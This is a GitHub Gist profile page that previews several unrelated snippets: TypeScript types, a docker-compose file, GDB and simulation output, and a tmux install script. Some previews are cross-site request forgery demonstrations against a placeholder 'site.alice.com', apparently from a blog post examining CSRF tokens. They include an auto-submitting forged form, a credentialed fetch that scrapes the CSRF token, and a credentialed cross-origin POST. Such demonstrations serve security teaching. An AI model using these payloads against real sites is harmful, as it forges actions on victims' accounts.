Skip to content

Instantly share code, notes, and snippets.

View SteveLTN's full-sized avatar

W Shao SteveLTN

  • Stockholm, Sweden
View GitHub Profile
@SteveLTN
SteveLTN / typedLocalStorage.ts
Last active June 15, 2020 14:11
A typed LocalStorage interface - with two versions
// With a normal object type
type LocalStorage = {
user: {
email: string
age: number
}
company: {
name: string
}
}
@SteveLTN
SteveLTN / docker-compose.yml
Created September 8, 2017 08:17
compose file with networks
version: '3'
services:
nginx:
networks:
- foo
networks:
foo:
# driver: xxx
<img src="http://site.alice.com/posts/create" alt="">
<form class="new_post" id="new_post" action="http://site.alice.com/posts" accept-charset="UTF-8" method="post">
<input type="hidden" name="authenticity_token" value="">
<input id="submit-button" type="submit" name="commit" value="Create Post">
</form>
<script>
document.getElementById("submit-button").click()
</script>
<script>
const url = 'http://site.alice.com/posts'
fetch(url, { method: "GET", credentials: 'include' }).
then((response) => response.text()).
then((body) => {
const re = new RegExp('<meta name="csrf-token" content="(.*)" />')
const csrfToken = re.exec(body)[1]
return csrfToken
@SteveLTN
SteveLTN / site-mallory-attempt1.html
Last active May 7, 2017 21:04
Is CSRF Token Bogus? - blog post gist
<script>
const url = 'http://site.alice.com/posts'
fetch(url, { method: 'POST', credentials: 'include' })
</script>
@SteveLTN
SteveLTN / gdb-commented
Last active January 4, 2016 17:59
commented code result of GDB
❯ gdb ./md demo 8a24e22
GNU gdb (GDB) 7.5
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
@SteveLTN
SteveLTN / gdb-uncommented
Last active January 4, 2016 17:59
GDB result of uncommented code
❯ gdb ./md task3 82ac80d ✗
GNU gdb (GDB) 7.5
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
@SteveLTN
SteveLTN / before commenting
Created January 27, 2014 21:10
Result before commenting out Line 5-55, Line 63-68
❯ ./md demo 8
Molecular Dynamics Simulation example program
---------------------------------------------
number of particles is ............ 13500
side length of the box is ......... 25.323179
cut off is ........................ 3.750000
reduced temperature is ............ 0.722000
basic timestep is ................. 0.064000
temperature scale interval ........ 10
stop scaling at move .............. 20
#!/bin/bash
# Script for installing tmux on systems where you don't have root access.
# tmux will be installed in $HOME/local/bin.
# It's assumed that wget and a C/C++ compiler are installed.
# exit on error
set -e
TMUX_VERSION=1.8